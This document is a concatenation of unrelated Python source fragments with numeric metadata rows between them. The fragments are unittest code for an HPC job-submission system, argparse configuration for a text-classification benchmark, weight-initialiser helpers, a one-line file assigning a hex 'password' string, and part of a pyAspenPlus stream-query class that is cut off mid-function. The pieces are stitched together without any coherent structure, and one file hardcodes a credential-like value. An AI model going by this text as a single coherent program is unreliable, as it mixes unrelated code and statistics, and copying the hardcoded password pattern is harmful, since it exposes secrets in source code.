subject.run_task(mock_task) with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_queued_jobs() mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] self.assertIn('\npython {0} --config {1} {2}\n'.format( Path(arvet.batch_analysis.scripts.run_task.__file__).resolve(), Path('myconf.yml').resolve(), mock_task.pk ), script_contents) def test_run_task_uses_configured_environment(self): mock_open = mock.mock_open() environment_path = '/home/user/environment.sh' subject = hpc.HPCJobSystem({'environment': environment_path}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_task(make_mock_task()) subject.run_queued_jobs() mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] # split the script into what happens before the script is called, and what happens after parts = script_contents.split('\npython') self.assertEqual(2, len(parts)) self.assertIn('\nsource {0}'.format(environment_path), parts[0]) def test_run_task_uses_current_working_directory(self): mock_open = mock.mock_open() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_task(make_mock_task()) subject.run_queued_jobs() mock_file = mock_open() self.assertTrue(mock_file.write.called) script_contents = mock_file.write.call_args[0][0] # split the script into what happens before the script is called, and what happens after parts = script_contents.split('\npython') self.assertEqual(2, len(parts)) self.assertIn('\ncd {0}'.format(os.getcwd()), parts[0]) @mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') def test_run_task_submits_job(self, mock_run): mock_open = mock.mock_open() patch_subprocess(mock_run) mock_open.return_value = mock.MagicMock() subject = hpc.HPCJobSystem({}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True): patch_subprocess(mock_run) subject.run_task(make_mock_task()) subject.run_queued_jobs() filename = mock_open.call_args[0][0] self.assertIn(mock.call(['qsub', filename], stdout=mock.ANY, universal_newlines=True), mock_run.call_args_list) def test_run_task_wont_run_import_dataset_task_if_configured_not_to(self): task = ImportDatasetTask(_id=bson.ObjectId()) mock_open = mock.mock_open() subject = hpc.HPCJobSystem({'task_config': {'allow_import_dataset': False}}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_task(task) subject.run_queued_jobs() self.assertFalse(mock_run.called) def test_run_task_wont_run_system_if_configured_not_to(self): task = RunSystemTask(_id=bson.ObjectId()) mock_open = mock.mock_open() subject = hpc.HPCJobSystem({'task_config': {'allow_run_system': False}}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_task(task) self.assertFalse(mock_run.called) def test_run_task_wont_measure_trials_if_configured_not_to(self): task = MeasureTrialTask(_id=bson.ObjectId()) mock_open = mock.mock_open() subject = hpc.HPCJobSystem({'task_config': {'allow_run_system': False}}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_task(task) self.assertFalse(mock_run.called) def test_run_task_wont_compare_trials_if_configured_not_to(self): task = CompareTrialTask(_id=bson.ObjectId()) mock_open = mock.mock_open() subject = hpc.HPCJobSystem({'task_config': {'allow_run_system': False}}, 'myconf.yml') with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_task(task) self.assertFalse(mock_run.called) def test_run_task_returns_false_once_queue_is_full(self): subject = hpc.HPCJobSystem({'max_jobs': 10}, 'myconf.yml') for idx in range(12): task = make_mock_task() result = subject.run_task(task) if idx < 9: self.assertTrue(result) self.assertFalse(subject.is_queue_full()) elif idx == 9: # The 10th job should successfully add, but the queue should now be full self.assertTrue(result) self.assertTrue(subject.is_queue_full()) else: self.assertFalse(result) self.assertTrue(subject.is_queue_full()) def test_run_task_only_counts_tasks_that_have_not_previously_failed(self): subject = hpc.HPCJobSystem({'max_jobs': 5}, 'myconf.yml') # These tasks should go in the queue, but should not count toward it's length for idx in range(7): task = make_mock_task(failure_count=idx + 2) result = subject.run_task(task) self.assertTrue(result) self.assertFalse(subject.is_queue_full()) # We should still be able to add new tasks that haven't failed for idx in range(7): task = make_mock_task() result = subject.run_task(task) if idx < 4: self.assertTrue(result) self.assertFalse(subject.is_queue_full()) elif idx == 4: # The 10th job should successfully add, but the queue should now be full self.assertTrue(result) self.assertTrue(subject.is_queue_full()) else: self.assertFalse(result) self.assertTrue(subject.is_queue_full()) def test_run_queued_jobs_runs_other_tasks_even_if_there_are_imports_to_run(self): normal_task = make_mock_task() import_task_1 = make_mock_import_task() import_task_2 = make_mock_import_task() import_task_3 = make_mock_import_task() mock_open = mock.mock_open() subject = hpc.HPCJobSystem({'allow_read_during_import': True}, 'myconf.yml') subject.run_task(normal_task) subject.run_task(import_task_1) subject.run_task(import_task_2) subject.run_task(import_task_3) with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_queued_jobs() self.assertEqual(4, mock_open.call_count) self.assertEqual(4, sum(1 for call in mock_run.call_args_list if call[0][0][0] == 'qsub')) self.assertTrue(import_task_1.mark_job_started.called) self.assertTrue(import_task_2.mark_job_started.called) self.assertTrue(import_task_3.mark_job_started.called) self.assertTrue(normal_task.mark_job_started.called) mock_file = mock_open() self.assertEqual(4, mock_file.write.call_count) self.assertIn(str(normal_task.pk), mock_file.write.call_args_list[0][0][0]) self.assertIn(str(import_task_1.pk), mock_file.write.call_args_list[1][0][0]) self.assertIn(str(import_task_2.pk), mock_file.write.call_args_list[2][0][0]) self.assertIn(str(import_task_3.pk), mock_file.write.call_args_list[3][0][0]) def test_run_task_marks_all_import_dataset_tasks_as_started(self): node_id = 'node-2308' import_task_1 = make_mock_import_task() import_task_2 = make_mock_import_task() import_task_3 = make_mock_import_task() mock_open = mock.mock_open() subject = hpc.HPCJobSystem({'node_id': node_id}, 'myconf.yml') subject.run_task(import_task_1) subject.run_task(import_task_2) subject.run_task(import_task_3) with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True), \ mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') as mock_run: patch_subprocess(mock_run) subject.run_queued_jobs() self.assertTrue(import_task_1.mark_job_started.called) self.assertEqual(node_id, import_task_1.mark_job_started.call_args[0][0]) job_id = import_task_1.mark_job_started.call_args[0][1] self.assertTrue(import_task_2.mark_job_started.called) self.assertEqual(mock.call(node_id, job_id), import_task_2.mark_job_started.call_args) self.assertTrue(import_task_3.mark_job_started.called) self.assertEqual(mock.call(node_id, job_id), import_task_3.mark_job_started.call_args) @mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') def test_run_queued_jobs_runs_a_mix_of_import_and_other_tasks(self, mock_run): normal_task = make_mock_task() import_task = make_mock_import_task() mock_open = mock.mock_open() patch_subprocess(mock_run) subject = hpc.HPCJobSystem({}, 'myconf.yml') subject.run_task(normal_task) subject.run_task(import_task) with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True): subject.run_queued_jobs() self.assertEqual(2, mock_open.call_count) self.assertEqual(2, sum(1 for call in mock_run.call_args_list if call[0][0][0] == 'qsub')) self.assertTrue(normal_task.mark_job_started.called) self.assertTrue(import_task.mark_job_started.called) mock_file = mock_open() self.assertTrue(mock_file.write.called) @mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.subprocess.run') def test_run_queued_jobs_submits_least_failed_jobs_first(self, mock_run): task_1 = make_mock_task(failure_count=10) task_2 = make_mock_task(failure_count=0) task_3 = make_mock_task(failure_count=4) mock_open = mock.mock_open() patch_subprocess(mock_run, num_jobs=0) subject = hpc.HPCJobSystem({'max_jobs': 2}, 'myconf.yml') subject.run_task(task_1) subject.run_task(task_2) subject.run_task(task_3) with mock.patch('arvet.batch_analysis.job_systems.hpc_job_system.open', mock_open, create=True): subject.run_queued_jobs() self.assertEqual(2, sum(1 for call in mock_run.call_args_list if call[0][0][0] == 'qsub')) self.assertIn(mock.call(['qsub', subject._job_folder / (task_2.get_unique_name() + '.sub')], stdout=mock.ANY, universal_newlines=True), mock_run.call_args_list) self.assertIn(mock.call(['qsub', subject._job_folder / (task_3.get_unique_name() + '.sub')], stdout=mock.ANY, universal_newlines=True), mock_run.call_args_list) self.assertFalse(task_1.mark_job_started.called) self.assertTrue(task_2.mark_job_started.called) self.assertTrue(task_3.mark_job_started.called) def patch_subprocess_qjobs(mock_subprocess_run: mock.Mock, num_jobs=4): mock_completed_process = mock.Mock() mock_completed_process.stdout = """ {0} running jobs found found for test-user to see finished jobs, run qjobs with the -x flag """.format(num_jobs) mock_subprocess_run.return_value = mock_completed_process def patch_subprocess(mock_subprocess_run: mock.Mock, job_id=4, num_jobs=15): mock_qjobs_completed_process = mock.Mock() mock_qjobs_completed_process.stdout = """ {0} running jobs found found for test-user to see finished jobs, run qjobs with the -x flag """.format(num_jobs) mock_qsub_completed_process = mock.Mock() mock_qsub_completed_process.stdout = str(job_id) mock_subprocess_run.side_effect = lambda script_args, *args, **kwargs: \ mock_qjobs_completed_process if script_args[0] is 'qjobs' else mock_qsub_completed_process def make_mock_task(failure_count=0): mock_task = mock.create_autospec(Task) mock_task.pk = bson.ObjectId() mock_task.num_cpus = 1 mock_task.num_gpus = 0 mock_task.failure_count = failure_count mock_task.memory_requirements = '4GB' mock_task.expected_duration = '1:00:00' mock_task.get_unique_name.return_value = 'job_' + str(mock_task.pk) return mock_task def make_mock_import_task(num_cpus=1, num_gpus=0, memory=4, hours=1, minutes=0, seconds=0, failure_count=0): mock_task = mock.create_autospec(ImportDatasetTask) mock_task.pk = bson.ObjectId() mock_task.num_cpus = num_cpus mock_task.num_gpus = num_gpus mock_task.failure_count = failure_count mock_task.memory_requirements = '{0}GB'.format(memory) mock_task.expected_duration = "{0:02}:{1:02}:{2:02}".format(hours, minutes, seconds) mock_task.get_unique_name.return_value = 'job_' + str(mock_task.pk) return mock_task
51.11408
119
0.670447
6,607
49,734
4.728621
0.059482
0.050701
0.055886
0.059823
0.896133
0.866206
0.846521
0.82674
0.80587
0.783785
0
0.016336
0.214722
49,734
972
120
51.166667
0.783613
0.035207
0
0.756821
0
0
0.173441
0.109774
0
0
0
0
0.208778
1
0.075919
false
0.001186
0.059312
0
0.141163
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9b3b70343ce25ffa418b8467962b62a5c0e5cd98
12,060
py
Python
opts.py
mvemoon/TextClassificationBenchmark
e564f653cd9117a765bbe0b2da42d34b31546ae4
[ "MIT" ]
null
null
null
opts.py
mvemoon/TextClassificationBenchmark
e564f653cd9117a765bbe0b2da42d34b31546ae4
[ "MIT" ]
null
null
null
opts.py
mvemoon/TextClassificationBenchmark
e564f653cd9117a765bbe0b2da42d34b31546ae4
[ "MIT" ]
null
null
null
import argparse,os,re import configparser class Params(object): def __init__(self): parser = argparse.ArgumentParser() # Data input settings parser.add_argument('--config', type=str, default="no_file_exists", help='gpu number') parser.add_argument('--hidden_dim', type=int, default=128, help='hidden_dim') parser.add_argument('--max_seq_len', type=int, default=512, help='max_seq_len') parser.add_argument('--batch_size', type=int, default=64, help='batch_size') parser.add_argument('--embedding_dim', type=int, default=-1, help='embedding_dim') parser.add_argument('--learning_rate', type=float, default=2e-5, help='learning_rate') parser.add_argument('--grad_clip', type=float, default=1e-1, help='grad_clip') parser.add_argument('--model', type=str, default="cnn", help='model name') parser.add_argument('--dataset', type=str, default="imdb", help='dataset') parser.add_argument('--position', type=bool, default=False, help='gpu number') parser.add_argument('--keep_dropout', type=float, default=0.8, help='keep_dropout') parser.add_argument('--max_epoch', type=int, default=20, help='max_epoch') parser.add_argument('--embedding_file', type=str, default="glove.6b.300", help='glove or w2v') parser.add_argument('--embedding_training', type=str, default="false", help='embedding_training') #kim CNN parser.add_argument('--kernel_sizes', type=str, default="1,2,3,5", help='kernel_sizes') parser.add_argument('--kernel_nums', type=str, default="256,256,256,256", help='kernel_nums') parser.add_argument('--embedding_type', type=str, default="non-static", help='embedding_type') parser.add_argument('--lstm_mean', type=str, default="mean",# last help='lstm_mean') parser.add_argument('--lstm_layers', type=int, default=1,# last help='lstm_layers') parser.add_argument('--gpu', type=int, default=0, help='gpu number') parser.add_argument('--proxy', type=str, default="null", help='http://proxy.xx.com:8080') parser.add_argument('--debug', type=str, default="true", help='gpu number') parser.add_argument('--embedding_dir', type=str, default=".glove/glove.6B.300d.txt", help='embedding_dir') parser.add_argument('--bert_dir', type=str, default="D:/dataset/bert/uncased_L-12_H-768_A-12", help='bert dir') parser.add_argument('--bert_trained', type=str, default="false", help='fine tune the bert or not') parser.add_argument('--from_torchtext', type=str, default="false", help='from torchtext or native data loader') # args = parser.parse_args() if args.config != "no_file_exists": if os.path.exists(args.config): config = configparser.ConfigParser() config_file_path=args.config config.read(config_file_path) config_common = config['COMMON'] for key in config_common.keys(): args.__dict__[key]=config_common[key] else: print("config file named %s does not exist" % args.config) # args.kernel_sizes = [int(i) for i in args.kernel_sizes.split(",")] # args.kernel_nums = [int(i) for i in args.kernel_nums.split(",")] # # # Check if args are valid # assert args.rnn_size > 0, "rnn_size should be greater than 0" if "CUDA_VISIBLE_DEVICES" not in os.environ.keys(): os.environ["CUDA_VISIBLE_DEVICES"] =str(args.gpu) if args.model=="transformer": args.position=True else: args.position=False # process the type for bool and list for arg in args.__dict__.keys(): if type(args.__dict__[arg])==str: if args.__dict__[arg].lower()=="true": args.__dict__[arg]=True elif args.__dict__[arg].lower()=="false": args.__dict__[arg]=False elif "," in args.__dict__[arg]: args.__dict__[arg]= [int(i) for i in args.__dict__[arg].split(",")] else: pass if os.path.exists("proxy.config"): with open("proxy.config") as f: args.proxy = f.read() print(args.proxy) return args def parse_config(self, config_file_path): config = configparser.ConfigParser() config.read(config_file_path) config_common = config['COMMON'] is_numberic = re.compile(r'^[-+]?[0-9.]+$') for key,value in config_common.items(): result = is_numberic.match(value) if result: if type(eval(value)) == int: value= int(value) else : value= float(value) self.__dict__.__setitem__(key,value) def export_to_config(self, config_file_path): config = configparser.ConfigParser() config['COMMON'] = {} config_common = config['COMMON'] for k,v in self.__dict__.items(): if not k == 'lookup_table': config_common[k] = str(v) with open(config_file_path, 'w') as configfile: config.write(configfile) def parseArgs(self): #required arguments: parser = argparse.ArgumentParser(description='running the complex embedding network') parser.add_argument('-config', action = 'store', dest = 'config_file_path', help = 'The configuration file path.') args = parser.parse_args() self.parse_config(args.config_file_path) def setup(self,parameters): for k, v in parameters: self.__dict__.__setitem__(k,v) def get_parameter_list(self): info=[] for k, v in self.__dict__.items(): if k in ["validation_split","batch_size","dropout_rate","hidden_unit_num","hidden_unit_num_second","cell_type","contatenate","model"]: info.append("%s-%s"%(k,str(v))) return info def to_string(self): return "_".join(self.get_parameter_list()) def parse_opt(): parser = argparse.ArgumentParser() # Data input settings parser.add_argument('--config', type=str, default="no_file_exists", help='gpu number') parser.add_argument('--hidden_dim', type=int, default=128, help='hidden_dim') parser.add_argument('--max_seq_len', type=int, default=200, help='max_seq_len') parser.add_argument('--batch_size', type=int, default=64, help='batch_size') parser.add_argument('--embedding_dim', type=int, default=-1, help='embedding_dim') parser.add_argument('--learning_rate', type=float, default=2e-5, help='learning_rate') parser.add_argument('--lr_scheduler', type=str, default="none", help='lr_scheduler') parser.add_argument('--optimizer', type=str, default="adam", help='optimizer') parser.add_argument('--grad_clip', type=float, default=1e-1, help='grad_clip') parser.add_argument('--model', type=str, default="bilstm", help='model name') parser.add_argument('--dataset', type=str, default="imdb", help='dataset') parser.add_argument('--position', type=bool, default=False, help='gpu number') parser.add_argument('--keep_dropout', type=float, default=0.8, help='keep_dropout') parser.add_argument('--max_epoch', type=int, default=20, help='max_epoch') parser.add_argument('--embedding_file', type=str, default="glove.6b.300", help='glove or w2v') parser.add_argument('--embedding_training', type=str, default="false", help='embedding_training') #kim CNN parser.add_argument('--kernel_sizes', type=str, default="1,2,3,5", help='kernel_sizes') parser.add_argument('--kernel_nums', type=str, default="256,256,256,256", help='kernel_nums') parser.add_argument('--embedding_type', type=str, default="non-static", help='embedding_type') parser.add_argument('--lstm_mean', type=str, default="mean",# last help='lstm_mean') parser.add_argument('--lstm_layers', type=int, default=1,# last help='lstm_layers') parser.add_argument('--gpu', type=int, default=0, help='gpu number') parser.add_argument('--gpu_num', type=int, default=1, help='gpu number') parser.add_argument('--proxy', type=str, default="null", help='http://proxy.xx.com:8080') parser.add_argument('--debug', type=str, default="true", help='gpu number') parser.add_argument('--bidirectional', type=str, default="true", help='bidirectional') parser.add_argument('--embedding_dir', type=str, default=".glove/glove.6B.300d.txt", help='embedding_dir') parser.add_argument('--bert_dir', type=str, default="D:/dataset/bert/uncased_L-12_H-768_A-12", help='bert dir') parser.add_argument('--bert_trained', type=str, default="false", help='fine tune the bert or not') parser.add_argument('--from_torchtext', type=str, default="false", help='from torchtext or native data loader') # args = parser.parse_args() if args.config != "no_file_exists": if os.path.exists(args.config): config = configparser.ConfigParser() config_file_path=args.config config.read(config_file_path) config_common = config['COMMON'] for key in config_common.keys(): args.__dict__[key]=config_common[key] else: print("config file named %s does not exist" % args.config) # args.kernel_sizes = [int(i) for i in args.kernel_sizes.split(",")] # args.kernel_nums = [int(i) for i in args.kernel_nums.split(",")] # # # Check if args are valid # assert args.rnn_size > 0, "rnn_size should be greater than 0" if "CUDA_VISIBLE_DEVICES" not in os.environ.keys(): os.environ["CUDA_VISIBLE_DEVICES"] =str(args.gpu) if args.model=="transformer": args.position=True else: args.position=False # process the type for bool and list for arg in args.__dict__.keys(): if type(args.__dict__[arg])==str: if args.__dict__[arg].lower()=="true": args.__dict__[arg]=True elif args.__dict__[arg].lower()=="false": args.__dict__[arg]=False elif "," in args.__dict__[arg]: args.__dict__[arg]= [int(i) for i in args.__dict__[arg].split(",")] else: pass if os.path.exists("proxy.config"): with open("proxy.config") as f: args.proxy = f.read() print(args.proxy) return args
41.020408
146
0.552239
1,385
12,060
4.570397
0.150903
0.081043
0.153081
0.041074
0.845024
0.835387
0.835387
0.835387
0.828436
0.802844
0
0.014124
0.313101
12,060
293
147
41.16041
0.75
0.0534
0
0.79638
0
0
0.19726
0.012998
0
0
0
0
0
1
0.036199
false
0.00905
0.00905
0.004525
0.067873
0.0181
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9b53d8e0a79266a48f94c714aa7265a0bbb4d45d
1,150
py
Python
submission/artificial_idiot/machine_learning/misc.py
Dovermore/artificial_intelligence_project
2d71afd241490b456dd58e71b8f1fa92e8e2f0b7
[ "MIT" ]
null
null
null
submission/artificial_idiot/machine_learning/misc.py
Dovermore/artificial_intelligence_project
2d71afd241490b456dd58e71b8f1fa92e8e2f0b7
[ "MIT" ]
null
null
null
submission/artificial_idiot/machine_learning/misc.py
Dovermore/artificial_intelligence_project
2d71afd241490b456dd58e71b8f1fa92e8e2f0b7
[ "MIT" ]
null
null
null
import numpy as np def normalised_initialiser(factor=1): """ Get an initialiser with pre-specified normalisation factor :return: A initialiser for weights """ def initialiser(n_in, n_out): """ The weight initialiser for a general relu/sigmoid unit for fully connected nodes (i.e. simple FFNN) :param n_in: The input dimension of weight matrix :param n_out: The output dimension of weight matrix :return: The initialised matrix """ return np.random.rand(n_in, n_out)*np.sqrt(factor/(n_in+n_out)) return initialiser def zero_initialiser(factor=1): """ Get an initialiser with pre-specified normalisation factor :return: A initialiser for weights """ def initialiser(n_in, n_out): """ The weight initialiser for a general relu/sigmoid unit for fully connected nodes (i.e. simple FFNN) :param n_in: The input dimension of weight matrix :param n_out: The output dimension of weight matrix :return: The initialised matrix """ return np.zeros([n_in, n_out]) return initialiser
31.944444
71
0.658261
156
1,150
4.75
0.301282
0.02834
0.026991
0.047233
0.906883
0.906883
0.842105
0.842105
0.842105
0.842105
0
0.00237
0.266087
1,150
35
72
32.857143
0.875592
0.569565
0
0.444444
0
0
0
0
0
0
0
0
0
1
0.444444
false
0
0.111111
0
1
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
8
9b80024ad324d72b81ac30e6ae01d0dfb2ea8bb2
44
py
Python
parameters_443.py
zzm8415/mytest
36a9b0651e388fcdf4f9594626f7cdca68bb3ae4
[ "BSD-3-Clause" ]
null
null
null
parameters_443.py
zzm8415/mytest
36a9b0651e388fcdf4f9594626f7cdca68bb3ae4
[ "BSD-3-Clause" ]
null
null
null
parameters_443.py
zzm8415/mytest
36a9b0651e388fcdf4f9594626f7cdca68bb3ae4
[ "BSD-3-Clause" ]
null
null
null
password="36d92cc60d7f5ca7357ed03f73ce0ee8"
22
43
0.909091
2
44
20
1
0
0
0
0
0
0
0
0
0
0
0.418605
0.022727
44
1
44
44
0.511628
0
0
0
0
0
0.727273
0.727273
0
0
0
0
0
1
0
false
1
0
0
0
0
1
1
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
1
0
0
0
0
0
8
9ba95149ca1aafff6e752ea07269b143aaa2d7c0
12,385
py
Python
pyAspenPlus/Stream.py
Shen-SJ/pyAspenPlus
ab9117b5377d9caee69ea8ff308779bf00d87669
[ "MIT" ]
12
2019-06-17T04:38:41.000Z
2022-02-09T01:32:59.000Z
pyAspenPlus/Stream.py
Ice-Pudding/pyAspenPlus
ab9117b5377d9caee69ea8ff308779bf00d87669
[ "MIT" ]
null
null
null
pyAspenPlus/Stream.py
Ice-Pudding/pyAspenPlus
ab9117b5377d9caee69ea8ff308779bf00d87669
[ "MIT" ]
8
2019-06-17T12:13:31.000Z
2021-12-03T10:05:56.000Z
# 匯入自定義錯誤,不然有些函式會找不到哪裡raise錯誤 from pyAspenPlus import UserDifineException as UDE from pyAspenPlus.Basic import check_name class Stream: def __init__(self, master): self.master = master self.aspen = master.aspen @check_name(Type='stream') def getMoleFlow(self, sname, component='', get_unit=False, unit_change_to=None) -> float: """Get the Moleflow of specified stream for Total or component . sname: Stream name component: If it is no given. the fct will give the total moleflow. If you give the component name, the fct will give the component flowrate. get_unit: "True" to get the unit. "False" is a default value. unit_change_to: unit index in AspenFile for the changing unit. If you don't want to change the unit, unit_change_to should be 'None'(Default value is this). """ ## 先檢查輸入的資料型態正確與否 if type(component) != str: raise TypeError("component must be a 'String'!!!") if type(get_unit) != bool: raise TypeError("unit must be a 'Boolean'!!!") if unit_change_to is not None and type(unit_change_to) != int: raise TypeError("unit_change_to must be a 'Integer' or 'None'!!!") ## 把component轉換成大寫,因為Aspen裡面的名稱都大寫 component = component.upper() ## 辨認是要輸出總流量還是化合物流量 if component != '': ## 辨認化合物有沒有在檔案當中,如無回傳錯誤 if component not in self.master.ComponentsList(): raise UDE.AspenPlus_ComponentTypeError("Cannot Find " + component + " in the AspenFile. " + "Please Check the name you type!!") path = '\Data\Streams' + '\\' + sname + '\Output\MOLEFLOW\MIXED' + '\\' + component elif component == '': path = "\Data\Streams" + "\\" + sname + "\Output\STR_MAIN\MOLEFLMX\MIXED" ## 看看有沒有要改單位 if unit_change_to is None: # 沒有要改單位 ## 是要取得數值還是單位 if get_unit: # 取得單位 return self.master.UnitFind(self.aspen.Tree.FindNode(path), table=True) else: # 取得數值 return self.aspen.Tree.FindNode(path).Value elif unit_change_to is not None: # 要改單位的話 if get_unit: # 取得單位 pq = self.aspen.Tree.FindNode(path).AttributeValue(2) return self.master.Unit(item=[pq, unit_change_to], table=True) else: # 取得數值 return self.master.UnitChange(self.aspen.Tree.FindNode(path), unit_change_to) @check_name(Type='stream') def getMoleFrac(self, sname, component) -> float: """Get the Mole Fraction of specified component of specified stream. sname: Stream name component: component you want to know. """ ## 先檢查輸入的資料型態正確與否 if type(component) != str: raise TypeError("component must be a 'String'!!!") ## 把component轉換成大寫,因為Aspen裡面的名稱都大寫 component = component.upper() ## 檢查輸入的化合物名稱是否在檔案當中,如無回傳錯誤 if component not in self.master.ComponentsList(): raise UDE.AspenPlus_ComponentTypeError("Cannot Find " + component + ' in the AspenFile. ' + "Please Check the name you type!!") # mole fraction這邊用算的 mt = self.getMoleFlow(sname) m = self.getMoleFlow(sname, component=component) return m/mt @check_name(Type='stream') def getMassFlow(self, sname, component='', get_unit=False, unit_change_to=None) -> float: """Get the Massflow of specified stream for Total or component . sname: Stream name component: If it is no given. the fct will give the total massflow. If you give the component name, the fct will give the component flowrate. get_unit: "True" to get the unit. "False" is a default value. unit_change_to: unit index in AspenFile for the changing unit. If you don't want to change the unit, unit_change_to should be 'None'(Default value is this). """ ## 先檢查輸入的資料型態正確與否 if type(component) != str: raise TypeError("component must be a 'String'!!!") if type(get_unit) != bool: raise TypeError("unit must be a 'Boolean'!!!") if unit_change_to is not None and type(unit_change_to) != int: raise TypeError("unit_change_to must be a 'Integer' or 'None'!!!") ## 把component轉換成大寫,因為Aspen裡面的名稱都大寫 component = component.upper() ## 辨認是要輸出總流量還是化合物流量 if component != '': ## 辨認化合物有沒有在檔案當中,如無回傳錯誤 if component not in self.master.ComponentsList(): raise UDE.AspenPlus_ComponentTypeError("Cannot Find " + component + " in the AspenFile. " + "Please Check the name you type!!") path = '\Data\Streams' + '\\' + sname + '\Output\MASSFLOW3' + '\\' + component elif component == '': path = "\Data\Streams" + "\\" + sname + "\Output\STR_MAIN\MASSFLMX\MIXED" ## 看看有沒有要改單位 if unit_change_to is None: # 沒有要改單位 ## 是要取得數值還是單位 if get_unit: # 取得單位 return self.master.UnitFind(self.aspen.Tree.FindNode(path), table=True) else: # 取得數值 return self.aspen.Tree.FindNode(path).Value elif unit_change_to is not None: # 要改單位的話 if get_unit: # 取得單位 pq = self.aspen.Tree.FindNode(path).AttributeValue(2) return self.master.Unit(item=[pq, unit_change_to], table=True) else: # 取得數值 return self.master.UnitChange(self.aspen.Tree.FindNode(path), unit_change_to) @check_name(Type='stream') def getMassFrac(self, sname, component) -> float: """Get the Mass Fraction of specified component of specified stream. sname: Stream name component: component you want to know. """ ## 先檢查輸入的資料型態正確與否 if type(component) != str: raise TypeError("component must be a 'String'!!!") ## 把component轉換成大寫,因為Aspen裡面的名稱都大寫 component = component.upper() ## 檢查輸入的化合物名稱是否在檔案當中,如無回傳錯誤 if component not in self.master.ComponentsList(): raise UDE.AspenPlus_ComponentTypeError("Cannot Find " + component + ' in the AspenFile. ' + "Please Check the name you type!!") # mass fraction這邊用算的 mt = self.getMassFlow(sname) m = self.getMassFlow(sname, component=component) return m/mt @check_name(Type='stream') def getTemperature(self, sname, get_unit=False, unit_change_to=None) -> float: """Get the Temperature of specified stream. sname: Stream name in AspenPlus. get_unit: "True" to get the unit. "False" is a default value. unit_change_to: unit index in AspenFile for the changing unit. If you don't want to change the unit, unit_change_to should be 'None'(Default value is this). """ ## 先檢查輸入的資料型態正確與否 if type(get_unit) != bool: raise TypeError("unit must be a 'Boolean'!!!") if unit_change_to is not None and type(unit_change_to) != int: raise TypeError("unit_change_to must be a 'Integer' or 'None'!!!") path = "\Data\Streams" + "\\" + sname + "\Output\STR_MAIN\TEMP\MIXED" ## 看看有沒有要改單位 if unit_change_to is None: # 沒有要改單位 ## 是要取得數值還是單位 if get_unit: # 取得單位 return self.master.UnitFind(self.aspen.Tree.FindNode(path), table=True) else: # 取得數值 return self.aspen.Tree.FindNode(path).Value elif unit_change_to is not None: # 要改單位的話 if get_unit: # 取得單位 pq = self.aspen.Tree.FindNode(path).AttributeValue(2) return self.master.Unit(item=[pq, unit_change_to], table=True) else: # 取得數值 return self.master.UnitChange(self.aspen.Tree.FindNode(path), unit_change_to) @check_name(Type='stream') def getPressure(self, sname, get_unit=False, unit_change_to=None) -> float: """Get the getPressure of specified stream. sname: Stream name in AspenPlus. get_unit: "True" to get the unit. "False" is a default value. unit_change_to: unit index in AspenFile for the changing unit. If you don't want to change the unit, unit_change_to should be 'None'(Default value is this). """ ## 先檢查輸入的資料型態正確與否 if type(get_unit) != bool: raise TypeError("unit must be a 'Boolean'!!!") if unit_change_to is not None and type(unit_change_to) != int: raise TypeError("unit_change_to must be a 'Integer' or 'None'!!!") path = "\Data\Streams" + "\\" + sname + "\Output\STR_MAIN\PRES\MIXED" ## 看看有沒有要改單位 if unit_change_to is None: # 沒有要改單位 ## 是要取得數值還是單位 if get_unit: # 取得單位 return self.master.UnitFind(self.aspen.Tree.FindNode(path), table=True) else: # 取得數值 return self.aspen.Tree.FindNode(path).Value elif unit_change_to is not None: # 要改單位的話 if get_unit: # 取得單位 pq = self.aspen.Tree.FindNode(path).AttributeValue(2) return self.master.Unit(item=[pq, unit_change_to], table=True) else: # 取得數值 